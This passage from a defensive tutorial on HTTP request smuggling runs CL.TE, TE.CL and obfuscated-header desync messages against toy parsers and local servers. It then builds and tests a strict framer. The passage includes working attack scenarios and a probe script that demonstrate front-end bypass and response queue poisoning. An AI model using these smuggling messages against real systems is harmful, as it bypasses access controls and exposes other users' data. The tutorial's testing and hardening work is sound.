alice GET /account -> 200 ADMIN PANEL: user list, refund button, API keys
attacker GET / -> 200 Account of alice: balance 1,200
front end parsed: [('POST', '/'), ('GET', '/account'), ('GET', '/')]
back end parsed: [('POST', '/'), ('GET', '/admin'), ('GET', '/account'), ('GET', '/')]
Go through the output slowly, because it is the whole attack in a handful of lines.
- The control line shows the access rule working. Asking for
/admindirectly gets a403from the front end. - The attacker’s
POST /gets a normal-looking reply. The back end actually answered twice, once for the POST and once for the hiddenGET /admin. The front end read the first answer and returned it. The second answer, the admin panel, is still waiting unread on the shared connection. - Alice asks for her own account page. The front end forwards her request, reads one response from the shared connection, and gets the oldest unread one. Alice is shown the admin panel. Her real response is now the one waiting.
- The attacker asks for the home page and reads one response. The attacker is shown Alice’s account page, including her balance.
- The two logs at the bottom explain why. The front end parsed three requests. The back end parsed four, and the second one,
GET /admin, is a request the front end never saw as a request, so its access rule never ran.
This pattern, where one extra response shifts every later response by one position, is often called response queue poisoning. It is a bypass of the front end’s security control, which is the first harm PortSwigger lists, and a leak of another user’s data, which is the second. Notice that no password was guessed and no bug in the application was needed. Both programs behaved according to rules they each consider reasonable.
Verify the step by checking that Alice’s line shows the admin panel and the attacker’s second line shows Account of alice. If both people see their own pages, check that the front end is CL_FIRST and the back end is TE_EXACT; swapping them removes this particular attack.
Step 5: Try the other attack shapes: TE.CL, obfuscated headers, and repeated lengths
CL.TE is one of three classic shapes. PortSwigger’s page describes them by who uses which header: “CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header. TE.CL: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header. TE.TE: the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.” Save the following as step04_variants.py. It runs the same scenario for seven pairings, including a control where both sides read the message the same way.
# step04_variants.py
from scenario import run, verdict
from wire import CL_FIRST, TE_EXACT, TE_LENIENT
PAIRS = [
("cl_te", CL_FIRST, TE_EXACT),
("te_cl", TE_EXACT, CL_FIRST),
("te_xchunked", TE_EXACT, TE_LENIENT),
("te_space_colon", TE_EXACT, TE_LENIENT),
("te_lone_lf", TE_EXACT, TE_LENIENT),
("cl_two_values", TE_LENIENT, TE_EXACT),
("cl_te", TE_EXACT, TE_EXACT), # control: both read the same way
]
print(f"{'message':<16}{'front -> back':<26}{'front parsed':<14}{'back parsed':<13}{'hidden ran':<12}{'attacker got':<14}")
for case, front, back in PAIRS:
v = verdict(run(case, front, back))
got = "Alice's page" if v["attacker_got_alices_page"] else "own page"
print(f"{case:<16}{front.name + ' -> ' + back.name:<26}{v['front_parsed']:<14}{v['back_parsed']:<13}{str(v['hidden_ran']):<12}{got:<14}")
message front -> back front parsed back parsed hidden ran attacker got
cl_te cl-first -> te-exact 3 4 True Alice's page
te_cl te-exact -> cl-first 3 4 True Alice's page
te_xchunked te-exact -> te-lenient 3 4 True Alice's page
te_space_colon te-exact -> te-lenient 3 4 True Alice's page
te_lone_lf te-exact -> te-lenient 3 4 True Alice's page
cl_two_values te-lenient -> te-exact 3 4 True Alice's page
cl_te te-exact -> te-exact 4 3 False own page
The numbers in the front parsed and back parsed columns include the two innocent requests that follow the hostile message, so three for the front end and four for the back end means one hidden request.
te_cl(TE.CL). The front end honours chunked encoding and sees one request. The back end believesContent-Length: 4, consumes only the four bytes of the chunk-size line, and finds a complete second request in the rest. The hidden request carries aContent-Lengthof 7 that exactly swallows the chunk terminator, so nothing is left over to confuse the connection.te_xchunked,te_space_colon,te_lone_lf(TE.TE). Both sides supportTransfer-Encoding, but the front end does not recognise the header because of how it is written: the valuexchunked, a space before the colon, or a bare line feed that makes it look like part of another header. The lenient back end does recognise it and ends the body early.cl_two_values. NoTransfer-Encodingat all. The front end uses the lastContent-Lengthand sees one request, while the back end uses the first and sees two.- The control row. When both sides use
te-exact, the front end itself sees the hiddenGET /admininside the message, refuses it with its own 403, and the back end never receives it. That is why the front parsed four requests and the back end three, and why the attacker got an ordinary page.
The lesson of the table is that the attack does not depend on one magic header trick. It depends on any difference at all between two parsers, and there are many places for a difference to hide: which header wins, how a value is matched, how a name is delimited, what counts as a line ending, and what to do when a header is repeated. To verify this step, check that six of the seven rows say True and Alice's page, and that the control row does not.
Step 6: See what real software does with the same twelve messages
Toy parsers prove that the idea works. They do not tell you what your servers do. In this step you will start four real setups on 127.0.0.1 and send each of them the twelve messages. The setups are Python’s http.server, uvicorn with the h11 parser, uvicorn with the httptools parser, and nginx 1.30.6 acting as a front end for a toy back end. First, a helper that starts and stops the servers. This is the Windows version; it uses taskkill.
# harness.py
"""Start and stop the real servers used by steps 6 and 6b."""
import pathlib
import socket
import subprocess
import sys
import time
HERE = pathlib.Path(__file__).resolve().parent
NGINX = HERE / "nginx-1.30.6"
def free_port():
with socket.socket() as s:
s.bind(("127.0.0.1", 0))
return s.getsockname()[1]
def wait_port(port):
for _ in range(80):
try:
socket.create_connection(("127.0.0.1", port), timeout=0.5).close()
return
except OSError:
time.sleep(0.25)
raise RuntimeError(f"nothing listens on {port}")
def kill(proc):
subprocess.run(["taskkill", "/PID", str(proc.pid), "/T", "/F"], capture_output=True)
def start_uvicorn(app, impl):
port = free_port()
proc = subprocess.Popen([sys.executable, "-m", "uvicorn", app, "--http", impl, "--host", "127.0.0.1",
"--port", str(port), "--log-level", "critical"], cwd=HERE)
wait_port(port)
return proc, port
def start_nginx(backend_port):
port = free_port()
conf = f"""worker_processes 1;
error_log logs/error.log;
pid logs/nginx.pid;
events {{ worker_connections 64; }}
http {{
access_log off;
upstream backend {{ server 127.0.0.1:{backend_port}; keepalive 4; }}
server {{
listen 127.0.0.1:{port};
location / {{
proxy_pass http://backend;
proxy_http_version 1.1;
proxy_set_header Connection "";
}}
}}
}}
"""
(NGINX / "conf" / "smuggle.conf").write_text(conf)
args = [str(NGINX / "nginx.exe"), "-p", str(NGINX) + "/", "-c", "conf/smuggle.conf"]
check = subprocess.run(args + ["-t"], capture_output=True, text=True)
print("nginx -t:", "ok" if check.returncode == 0 else check.stderr.strip())
proc = subprocess.Popen(args, cwd=NGINX)
wait_port(port)
return proc, port
def stop_nginx(proc):
kill(proc)
subprocess.run(["taskkill", "/IM", "nginx.exe", "/F"], capture_output=True)
start_nginx writes a small configuration that proxies to a back end port with HTTP/1.1, a cleared Connection header and an upstream keepalive 4 pool, so that nginx reuses connections to the back end the way a busy front end does. The nginx upstream module documentation for 1.30 says upstream keepalive connections are on by default with a limit of 32 per worker process, and that the number in the directive does not cap the total connections a worker may open. Next, the web app uvicorn will serve, which reads the whole body and answers ok:
# asgi_app.py
async def app(scope, receive, send):
if scope["type"] != "http":
return
while True: # read the whole request body
message = await receive()
if not message.get("more_body"):
break
await send({"type": "http.response.start", "status": 200,
"headers": [(b"content-type", b"text/plain"), (b"content-length", b"3")]})
await send({"type": "http.response.body", "body": b"ok\n"})
And the probe. probe opens a connection, sends one message, collects whatever the server answers until it goes quiet for 0.6 seconds, and returns the status codes it saw. One status means the server treated the bytes as one request. Two statuses mean it found two requests in them.
# probe.py
"""probe.py HOST PORT: send every message in corpus.CASES to a server you own and print the status codes it answers with."""
import re
import socket
import sys
from corpus import CASES
def probe(host, port, raw, idle=0.6):
sock = socket.create_connection((host, port), timeout=3)
try:
sock.sendall(raw)
sock.settimeout(idle)
data = b""
while True:
try:
chunk = sock.recv(65536)
except (socket.timeout, ConnectionError):
break
if not chunk:
break
data += chunk
return [int(s) for s in re.findall(rb"HTTP/1\.[01] (\d{3}) ", data)]
finally:
sock.close()
def show(statuses):
return ",".join(map(str, statuses)) if statuses else "none"
if __name__ == "__main__":
host, port = sys.argv[1], int(sys.argv[2])
for name, raw in CASES.items():
print(f"{name:<16}{show(probe(host, port, raw))}")
Finally the experiment itself. For nginx, the script also asks the toy back end how many requests actually reached it. Save this as step06_real_servers.py and run it (it takes about twenty seconds):
# step06_real_servers.py
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import h11
import httptools
import uvicorn
from corpus import CASES
from harness import kill, start_nginx, start_uvicorn, stop_nginx
from probe import probe, show
from toy import Backend
from wire import CL_FIRST
class Quiet(ThreadingHTTPServer):
def handle_error(self, request, client_address):
pass
class Handler(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def answer(self):
n = int(self.headers.get("Content-Length") or 0)
if n:
self.rfile.read(n)
self.send_response(200)
self.send_header("Content-Length", "3")
self.end_headers()
self.wfile.write(b"ok\n")
do_GET = do_POST = answer
def log_message(self, *args):
pass
def column(port, backend=None):
out = {}
for name, raw in CASES.items():
if backend:
backend.seen.clear()
text = show(probe("127.0.0.1", port, raw))
if backend:
time.sleep(0.2)
text += f" (back end parsed {len(backend.seen)})"
out[name] = text
return out
columns = {}
srv = Quiet(("127.0.0.1", 0), Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
columns["http.server"] = column(srv.server_address[1])
srv.shutdown()
for impl in ("h11", "httptools"):
proc, port = start_uvicorn("asgi_app:app", impl)
try:
columns[f"uvicorn {impl}"] = column(port)
finally:
kill(proc)
back = Backend(CL_FIRST) # a back end that trusts Content-Length, the kind nginx might protect
proc, port = start_nginx(back.port)
try:
columns["nginx 1.30.6 in front"] = column(port, back)
probe("127.0.0.1", port, CASES["plain_chunked"]) # what does nginx actually forward for an ordinary chunked upload?
time.sleep(0.2)
forwarded = [f"{n.decode()}: {v.decode()}" for n, v in back.last.headers]
finally:
stop_nginx(proc)
print("versions: h11", h11.__version__, "| httptools", httptools.__version__, "| uvicorn", uvicorn.__version__, "| python", sys.version.split()[0])
widths = [max(len(n), *(len(v) for v in c.values())) + 2 for n, c in columns.items()]
print(f"{'message':<16}" + "".join(f"{n:<{w}}" for (n, _), w in zip(columns.items(), widths)))
for case in CASES:
print(f"{case:<16}" + "".join(f"{c[case]:<{w}}" for c, w in zip(columns.values(), widths)))
print("headers nginx sent the back end for plain_chunked:", "; ".join(forwarded))
nginx -t: ok
versions: h11 0.16.0 | httptools 0.9.0 | uvicorn 0.54.0 | python 3.13.14
message http.server uvicorn h11 uvicorn httptools nginx 1.30.6 in front
plain_cl 200 200 200 200 (back end parsed 1)
plain_chunked 200 200 200 200 (back end parsed 1)
te_mixed_case 200 200 200 200 (back end parsed 1)
te_tab_value 200 200 200 501 (back end parsed 0)
cl_te 200 200,200 400 400 (back end parsed 0)
te_cl 200,200 200 400 400 (back end parsed 0)
te_xchunked 200 400 400 501 (back end parsed 0)
te_space_colon 200 400 400 400 (back end parsed 0)
te_lone_lf 200 200,200 400 400 (back end parsed 0)
cl_two_values 200,200 400 400 400 (back end parsed 0)
cl_underscore 200,200 400 400 400 (back end parsed 0)
obs_fold 200 200,200 400 400 (back end parsed 0)
headers nginx sent the back end for plain_chunked: Host: backend; Content-Length: 5
A few words on what each column really is, because the details change what you can conclude.
- http.server parses the request line and headers, then leaves the body to your handler. The handler here does what many tutorials do:
int(self.headers.get("Content-Length") or 0), then reads that many bytes. The framing decision is therefore partly your own code. The Python documentation puts it bluntly: “http.server is not recommended for production. It only implements basic security checks.” - uvicorn chooses its HTTP parser with
--http. In uvicorn 0.54.0, theautooption importshttptoolsif it is installed and falls back toh11otherwise (I readuvicorn/protocols/http/auto.pyto check), so which parser you get depends on what is installed. - nginx sits in front of a back end that reads
Content-Lengthfirst. The back end parsed number is how many requests that back end actually received.
Now the results, row by row.
Ordinary traffic
Every setup answers the first three ordinary messages with a single 200. The one surprise is nginx’s 501 for te_tab_value, a message the RFC allows because optional whitespace may be a tab. The nginx source explains it. In ngx_http_parse.c for release 1.30.6, the state that skips whitespace before a header value, sw_space_before_value, has case ' ': break; and nothing for a tab, so the tab stays in the value, which is then not exactly chunked. That makes nginx stricter than the RFC here, in the safe direction. A strict edge occasionally refuses something legal, and you should know that going in.
http.server
It answers 200,200 for te_cl, cl_two_values and cl_underscore. Through the handler it believes Content-Length and ignores Transfer-Encoding, takes the first of two Content-Length headers, and accepts 1_0 as ten. That is the cl-first toy parser, and it is the back end half of TE.CL.
uvicorn with h11
It answers 200,200 for cl_te, te_lone_lf and obs_fold. For cl_te it lets Transfer-Encoding win, which RFC 9112 permits even as it says such a message “ought to be handled as an error”. The other two follow the RFC’s permission for lenient recipients: it accepts a bare line feed as a line ending, and it accepts a folded header and reads its value as chunked. It refuses te_xchunked, te_space_colon, cl_two_values and cl_underscore with a 400, and answers te_cl once, because the chunked body wins. None of that breaks a rule. It does mean that h11 as a back end splits three of the eight hostile messages, so a front end that reads them differently could be fooled.
uvicorn with httptools
It answers all four ordinary messages with a 200 and refuses all eight hostile ones with a 400.
nginx 1.30.6 in front
It refuses every hostile message (a 400, or a 501 for the xchunked value) and none of them reaches the back end: every hostile row says back end parsed 0. The nginx changelog explains part of that. For release 1.21.1 it says: “Change: now nginx always returns an error if both “Content-Length” and “Transfer-Encoding” header lines are present in the request.” The same release notes say: “Change: now nginx always returns an error if spaces or control characters are used in a header name.” The last line of the output shows a second protection. For the ordinary chunked upload, nginx sent the back end Content-Length: 5 and no Transfer-Encoding header: it read the chunked body itself and re-sent it with its own framing. A front end that rebuilds the message gives the back end an unambiguous one, even for traffic it accepts.
One more experiment: real back ends behind the toy front end
A back end that splits a message is only half of the attack. To see the other half with real parsers, put the toy cl-first front end from Step 4 in front of uvicorn, once with each parser, and send the same cl_te message. Then do the same through nginx. First an echo app, so you can see which request each response belongs to:
# asgi_echo.py
async def app(scope, receive, send):
if scope["type"] != "http":
return
while True: # read the whole request body
message = await receive()
if not message.get("more_body"):
break
body = f"{scope['method']} {scope['path']}".encode()
await send({"type": "http.response.start", "status": 200,
"headers": [(b"content-type", b"text/plain"), (b"content-length", str(len(body)).encode())]})
await send({"type": "http.response.body", "body": body})
# step06b_real_pairs.py
import re
from corpus import CASES
from harness import kill, start_nginx, start_uvicorn, stop_nginx
from scenario import ALICE, HOME
from toy import Frontend, talk
from wire import CL_FIRST
def play(label, port):
attack = talk(port, CASES["cl_te"])[0]
alice = talk(port, ALICE)[0]
attacker = talk(port, HOME)[0]
print(label)
for who, what, (status, text) in [("attacker", "POST / (cl_te)", attack), ("alice", "GET /account", alice), ("attacker", "GET /", attacker)]:
print(f" {who:<9} {what:<14} -> {status} {' '.join(re.sub(r'<[^>]+>', ' ', text).split())}")
for impl in ("h11", "httptools"):
proc, port = start_uvicorn("asgi_echo:app", impl)
front = Frontend(CL_FIRST, port) # the toy front end: reads Content-Length first, forwards the raw bytes
try:
play(f"toy front end (cl-first) -> uvicorn {impl}", front.port)
finally:
front.close()
kill(proc)
proc, port = start_uvicorn("asgi_echo:app", "h11")
ngx, ngx_port = start_nginx(port)
try:
play("nginx 1.30.6 -> uvicorn h11", ngx_port)
finally:
stop_nginx(ngx)
kill(proc)
toy front end (cl-first) -> uvicorn h11
attacker POST / (cl_te) -> 200 POST /
alice GET /account -> 200 GET /admin
attacker GET / -> 200 GET /account
toy front end (cl-first) -> uvicorn httptools
attacker POST / (cl_te) -> 400 Invalid HTTP request received.
alice GET /account -> 200 GET /account
attacker GET / -> 200 GET /
nginx -t: ok
nginx 1.30.6 -> uvicorn h11
attacker POST / (cl_te) -> 400 400 Bad Request 400 Bad Request nginx/1.30.6
alice GET /account -> 200 GET /account
attacker GET / -> 200 GET /
With h11 behind the toy front end, the shift from Step 4 happens again with a real parser: Alice is handed GET /admin, the response meant for the hidden request, and the attacker receives GET /account. With httptools behind the same front end, the back end answers the hostile message with 400 Invalid HTTP request received. and both people get their own responses. With nginx in front of h11, nginx refuses the message itself, and again nobody is affected. The same h11 back end was untouched by the hostile message behind nginx and exposed to it behind the raw pass-through front end. Exposure belongs to a pair of programs, not to one program. That is why the finding is not that h11 is vulnerable. It is that “which parser” is a decision to make deliberately, and that a front end that refuses ambiguous messages protects the back ends behind it from every message it recognises as ambiguous.
To verify this step, check that your table matches the columns above and that nginx says back end parsed 0 for every hostile row. Your timings will differ, but the response counts should not. If a cell says none, the server closed the connection without answering; check that the port is correct and that nothing else is using it.
Step 7: Why Python’s int() is the wrong tool for Content-Length
The cl_underscore row deserves its own step, because it is a mistake a Python programmer is likely to make in new code. The grammar for the header, in RFC 9110, is Content-Length = 1*DIGIT: one or more ASCII digits and nothing else. The Python documentation for int() says something different about strings. A string may carry a sign and may “have leading zeros, be surrounded by whitespace, and have single underscores interspersed between digits.” Save this as step07_int_trap.py and run it:
# step07_int_trap.py
import re
samples = [
("10", "plain digits"), ("+10", "plus sign"), (" 10 ", "spaces around"), ("1_0", "underscore"),
("0x10", "hex prefix"), ("1e1", "exponent"), ("-0", "negative zero"), ("1 0", "space inside"),
(chr(0x661) + chr(0x660), "Arabic-Indic digits"), (chr(0xFF11) + chr(0xFF10), "full-width digits"), (chr(0xB2), "superscript two"),
]
print(f"{'text':<20}{'what it is':<22}{'int()':<8}{'isdigit()':<11}{'[0-9]+ only'}")
for text, what in samples:
try:
value = str(int(text))
except ValueError:
value = "error"
print(f"{ascii(text):<20}{what:<22}{value:<8}{str(text.isdigit()):<11}{bool(re.fullmatch(r'[0-9]+', text))}")
print("bytes as a parser sees them:", int(b"1_0"), int(b"+10"), int(b" 10 "))
text what it is int() isdigit() [0-9]+ only
'10' plain digits 10 True True
'+10' plus sign 10 False False
' 10 ' spaces around 10 False False
'1_0' underscore 10 False False
'0x10' hex prefix error False False
'1e1' exponent error False False
'-0' negative zero 0 False False
'1 0' space inside error False False
'\u0661\u0660' Arabic-Indic digits 10 True False
'\uff11\uff10' full-width digits 10 True False
'\xb2' superscript two error True False
bytes as a parser sees them: 10 10 10
Read the table from the parser’s point of view. int() reads a plus sign, spaces and an underscore as ten, and it also reads Arabic-Indic and full-width digits as ten. str.isdigit() is not a fix, because it says True for those digits and for a superscript two that int() cannot read at all. Only the last column, a regular expression that matches ASCII 0 to 9, agrees with the grammar. A framer written with int(value) will accept 1_0, and as soon as another parser in the chain reads it as one, or refuses it, you have a disagreement. The fix is one line: re.fullmatch(rb"[0-9]{1,15}", value) before calling int(), which is what the strict framer will do in Step 8.
Step 8: Write the strict framer and compare the defences
You have seen the fix hiding in plain sight. The strict policy in wire.py does not try to be clever: when two readings are possible, it refuses the message. Its rules are short enough to list. Each one maps to a line in parse_head, decide_strict or read_chunked.
| Rule | What it refuses | Why |
|---|---|---|
| The header block must end with CRLF CRLF, and every line is CRLF only. | te_lone_lf and any LF-only message. |
RFC 9112 lets a recipient accept a lone LF, but a peer that does not accept it reads the bytes differently. |
| Each header line must be a token, a colon right after it, optional whitespace and a value with no control characters. | te_space_colon, obs_fold, NUL bytes and bare CR or LF in a value. |
The RFC says to reject whitespace before the colon, and to reject or rewrite folded lines. |
Never both Content-Length and Transfer-Encoding. |
cl_te, te_cl. |
The message “ought to be handled as an error”. |
At most one Content-Length and one Transfer-Encoding line. |
cl_two_values and repeated transfer-encoding lines. |
Which one counts is exactly the disagreement being avoided. |
Transfer-Encoding must be exactly chunked. |
te_xchunked (501) and values such as chunked, identity (400). |
When chunked is not the final coding of a request, the RFC says the body length “cannot be determined reliably”, and an unknown coding gets a 501. |
Transfer-Encoding only on HTTP/1.1 requests. |
The same header on an HTTP/1.0 request. | The RFC notes that HTTP/1.0 implementations are assumed not to understand transfer-encoded content. |
Content-Length is one to fifteen ASCII digits. |
cl_underscore, signs, spaces, hex prefixes, empty values and absurdly long numbers. |
The grammar is 1*DIGIT; Step 7 showed what int() accepts instead. |
| Chunk sizes are one to fifteen hex digits with no extensions, and chunk data is followed by CRLF. | Sizes such as 0x5 or 5;ext=1, and data that runs into the next line. |
Chunk framing is where many parsers differ. |
Strictness has a price. These rules also refuse a few messages the RFC allows, such as chunk extensions, folded headers and repeated identical Content-Length lines. Real clients rarely send them, which is why a strict edge is a reasonable trade, but if you adopt these rules in a real proxy, watch your logs for legitimate traffic that gets a 400.
Now compare the defences. step05_defences.py runs the six hostile pairings from Step 5 under four setups: as built; with connection reuse turned off at the front end; with a strict front end; and with a strict back end. Afterwards it sends ordinary traffic through a strict front end and a strict back end to prove that nothing legitimate breaks.
# step05_defences.py
from corpus import LEGIT
from scenario import run, verdict
from wire import CL_FIRST, STRICT, TE_EXACT, TE_LENIENT
# the front -> back pair that desynchronises each message (see step 4)
PAIR = {"cl_te": (CL_FIRST, TE_EXACT), "te_cl": (TE_EXACT, CL_FIRST), "te_xchunked": (TE_EXACT, TE_LENIENT),
"te_space_colon": (TE_EXACT, TE_LENIENT), "te_lone_lf": (TE_EXACT, TE_LENIENT), "cl_two_values": (TE_LENIENT, TE_EXACT)}
SETUPS = [
("as built", lambda f, b: (f, b, True)),
("no connection reuse", lambda f, b: (f, b, False)),
("strict front end", lambda f, b: (STRICT, b, True)),
("strict back end", lambda f, b: (f, STRICT, True)),
]
print(f"{'message':<16}" + "".join(f"{name:<22}" for name, _ in SETUPS))
for case, (front, back) in PAIR.items():
cells = []
for _, make in SETUPS:
f, b, reuse = make(front, back)
v = verdict(run(case, f, b, reuse=reuse))
cells.append(("hidden ran" if v["hidden_ran"] else "blocked") + (", leaked" if v["attacker_got_alices_page"] else ", no leak"))
print(f"{case:<16}" + "".join(f"{c:<22}" for c in cells))
print()
print("ordinary traffic through strict -> strict:")
for case in LEGIT:
v = verdict(run(case, STRICT, STRICT))
print(f" {case:<14} front parsed {v['front_parsed']}, back parsed {v['back_parsed']}, alice got her page: {v['alice_got_her_page']}")
message as built no connection reuse strict front end strict back end
cl_te hidden ran, leaked hidden ran, no leak blocked, no leak blocked, no leak
te_cl hidden ran, leaked hidden ran, no leak blocked, no leak blocked, no leak
te_xchunked hidden ran, leaked hidden ran, no leak blocked, no leak blocked, no leak
te_space_colon hidden ran, leaked hidden ran, no leak blocked, no leak blocked, no leak
te_lone_lf hidden ran, leaked hidden ran, no leak blocked, no leak blocked, no leak
cl_two_values hidden ran, leaked hidden ran, no leak blocked, no leak blocked, no leak
ordinary traffic through strict -> strict:
plain_cl front parsed 3, back parsed 3, alice got her page: True
plain_chunked front parsed 3, back parsed 3, alice got her page: True
te_mixed_case front parsed 3, back parsed 3, alice got her page: True
te_tab_value front parsed 3, back parsed 3, alice got her page: True
Read the columns from left to right.
- As built. Every hidden request runs and the attacker gets Alice’s page. This is the baseline from Step 5.
- No connection reuse. The leak disappears, because each request gets its own back-end connection and the unread response is thrown away with it. But the hidden request still ran. In this toy the hidden request is a read, so nothing is lost; if it had been a request that deletes or changes something, the change would have happened. Turning off reuse limits the damage to other users. It does not fix the bug.
- Strict front end. The front end refuses the hostile message with a 400, and the back end never sees the hidden request.
- Strict back end. The front end forwards the message, the back end refuses it and closes the connection, and the front end opens a fresh one for the next visitor. Either strict side is enough on its own here. Using both is better, because then a mistake on one side is caught by the other.
The bottom block shows ordinary traffic going through a strict front end and a strict back end: three requests parsed on each side and Alice getting her own page every time. To verify this step, check that the last two columns never say hidden ran and that the four ordinary messages show True.
Step 9: Test the strict framer and prove the tests would notice a broken rule
A security rule that is not tested stops being a rule the next time someone edits the file. Save this as test_wire.py. It checks that every parser reads the ordinary messages the same way, that each toy parser splits the messages it should, that strict refuses every hostile message, and that each individual strict rule has its own test. The tests that name a rule use hand-built messages, so a failure tells you which rule broke.
# test_wire.py
import pytest
from corpus import CASES, HOSTILE, LEGIT
from wire import CL_FIRST, PARSERS, STRICT, TE_EXACT, TE_LENIENT, requests_in
CHUNKED = b"Transfer-Encoding: chunked"
ONE_CHUNK = b"5\r\nhello\r\n0\r\n\r\n"
def seen(raw, p):
msgs, tail = requests_in(raw, p)
return len(msgs), tail
def post(*lines, version="HTTP/1.1", body=b""):
return f"POST / {version}\r\nHost: x\r\n".encode() + b"".join(line + b"\r\n" for line in lines) + b"\r\n" + body
def refused(raw, status="400"):
return seen(raw, STRICT) == (0, status)
@pytest.mark.parametrize("name", LEGIT)
@pytest.mark.parametrize("p", PARSERS, ids=lambda p: p.name)
def test_every_parser_reads_an_ordinary_message_as_one_request(name, p):
assert seen(CASES[name], p) == (1, "")
@pytest.mark.parametrize("name", HOSTILE)
def test_strict_refuses_every_hostile_message(name):
n, tail = seen(CASES[name], STRICT)
assert n == 0 and tail in {"400", "501"}
def test_cl_te_splits_when_transfer_encoding_wins():
assert seen(CASES["cl_te"], CL_FIRST) == (1, "")
assert seen(CASES["cl_te"], TE_EXACT) == (2, "")
def test_te_cl_splits_when_content_length_wins():
assert seen(CASES["te_cl"], CL_FIRST) == (2, "")
assert seen(CASES["te_cl"], TE_EXACT) == (1, "")
@pytest.mark.parametrize("name", ["te_xchunked", "te_space_colon", "te_lone_lf"])
def test_obfuscated_transfer_encoding_is_seen_only_by_the_lenient_parser(name):
assert seen(CASES[name], TE_EXACT) == (1, "")
assert seen(CASES[name], TE_LENIENT) == (2, "")
def test_repeated_content_length_depends_on_which_value_counts():
assert seen(CASES["cl_two_values"], TE_EXACT) == (2, "")
assert seen(CASES["cl_two_values"], TE_LENIENT) == (1, "")
def test_python_int_lets_an_underscore_through_unless_digits_only():
assert seen(CASES["cl_underscore"], CL_FIRST) == (2, "")
assert seen(CASES["cl_underscore"], TE_EXACT) == (0, "400")
def test_a_negative_content_length_is_refused():
raw = post(b"Content-Length: -5", body=b"hello")
assert seen(raw, CL_FIRST) == (0, "400")
assert seen(raw, TE_LENIENT) == (0, "400")
def test_every_parser_refuses_a_bad_request_line():
for p in PARSERS:
assert seen(b"GET / HTTP/2.0\r\nHost: x\r\n\r\n", p) == (0, "400")
def test_pipelined_requests_are_all_found():
assert seen(CASES["plain_cl"] * 2, STRICT) == (2, "")
def test_an_incomplete_message_waits_for_more():
assert seen(CASES["plain_cl"][:-2], STRICT) == (0, "wait")
def test_strict_refuses_both_headers():
assert refused(post(b"Content-Length: 5", CHUNKED, body=ONE_CHUNK))
def test_strict_refuses_a_repeated_content_length():
assert refused(post(b"Content-Length: 5", b"Content-Length: 5", body=b"hello"))
def test_strict_refuses_a_repeated_transfer_encoding():
assert refused(post(CHUNKED, CHUNKED, body=ONE_CHUNK))
def test_strict_refuses_a_coding_that_is_not_bare_chunked():
assert refused(post(b"Transfer-Encoding: chunked, identity", body=ONE_CHUNK))
assert refused(post(b"Transfer-Encoding: gzip"), "501")
def test_strict_refuses_transfer_encoding_on_http_1_0():
assert refused(post(CHUNKED, version="HTTP/1.0", body=ONE_CHUNK))
@pytest.mark.parametrize("value", [b"+5", b"1_0", b"5 5", b"0x5", b"-1", b"", b"1" * 16])
def test_strict_refuses_a_content_length_that_is_not_plain_digits(value):
assert refused(post(b"Content-Length: " + value, body=b"hello"))
def test_strict_accepts_optional_whitespace_around_a_value():
assert seen(post(b"Content-Length:\t5 ", body=b"hello"), STRICT) == (1, "")
def test_strict_refuses_lf_only_line_endings():
assert refused(b"POST / HTTP/1.1\nHost: x\nContent-Length: 5\n\nhello")
def test_strict_refuses_a_bare_lf_inside_a_value():
assert refused(post(b"X-Pad: a\nb", b"Content-Length: 5", body=b"hello"))
def test_strict_refuses_a_bare_cr_inside_a_value():
assert refused(post(b"X-Pad: a\rb", b"Content-Length: 5", body=b"hello"))
def test_strict_refuses_a_space_before_the_colon():
assert refused(post(b"Content-Length : 5", body=b"hello"))
def test_strict_refuses_a_folded_header():
assert refused(post(b"X-Pad: a", b" b", b"Content-Length: 5", body=b"hello"))
def test_strict_refuses_a_control_character_in_a_value():
assert refused(post(b"X-Pad: a" + bytes([0]) + b"b", b"Content-Length: 5", body=b"hello"))
@pytest.mark.parametrize("size", [b"0x5", b"5;ext=1", b" 5", b"+5", b"0" * 15 + b"5"])
def test_strict_refuses_a_chunk_size_that_is_not_plain_hex(size):
assert refused(post(CHUNKED, body=size + b"\r\nhello\r\n0\r\n\r\n"))
def test_strict_refuses_chunk_data_not_followed_by_a_line_break():
assert refused(post(CHUNKED, body=b"5\r\nhelloXX0\r\n\r\n"))
Run python -m pytest -q:
............................................................ [100%]
60 passed in 0.04s
Passing tests only prove something if they can fail. So the next script plants one bug at a time in a temporary copy of wire.py, runs the tests against it, and reports whether the tests noticed. Save this as mutate.py:
# mutate.py
"""Plant one bug at a time in wire.py and check that the test suite notices."""
import os
import pathlib
import shutil
import subprocess
import sys
import tempfile
HERE = pathlib.Path(__file__).resolve().parent
MUTANTS = [
("strict: allow LF-only line endings", 'if p.strict and not head.endswith(b"\\r\\n\\r\\n"):', 'if False:'),
("strict: stop looking for LF-only block ends", 'r.head(p.lone_lf or p.strict)', 'r.head(p.lone_lf)'),
("strict: allow a space in a header name", "0-9A-Za-z]+\"", "0-9A-Za-z ]+\""),
("strict: allow control characters in a value", r'[^\x00-\x08\x0a-\x1f\x7f]*?', '.*?'),
("strict: allow both Content-Length and Transfer-Encoding", 'if cl and te:', 'if False:'),
("strict: allow repeated headers", 'if len(cl) > 1 or len(te) > 1:', 'if False:'),
("strict: allow any transfer coding", 'if te[0].lower() != b"chunked":', 'if False:'),
("strict: allow Transfer-Encoding on HTTP/1.0", 'if version != "HTTP/1.1":', 'if False:'),
("strict: accept signs and underscores in Content-Length", 're.fullmatch(rb"[0-9]{1,15}", cl[0])', 're.fullmatch(rb"[0-9_+]{1,15}", cl[0])'),
("strict: no length limit on Content-Length", '{1,15}", cl[0])', '{1,}", cl[0])'),
("strict: accept any chunk size text", 'if not HEX_SIZE.fullmatch(text):', 'if not text:'),
("strict: no length limit on a chunk size", 'HEX_SIZE = re.compile(rb"[0-9A-Fa-f]{1,15}")', 'HEX_SIZE = re.compile(rb"[0-9A-Fa-f]{1,}")'),
("lenient: accept a negative Content-Length", 'if n < 0:', 'if False:'),
("te-exact: accept a Content-Length that is not digits", 'if p.cl_digits_only and not re.fullmatch(rb"[0-9]+", value):', 'if False:'),
("te-lenient: stop trimming header names", 'headers.append((name.strip(b" \\t") if p.trim_names else name, value.strip(b" \\t")))', 'headers.append((name, value.strip(b" \\t")))'),
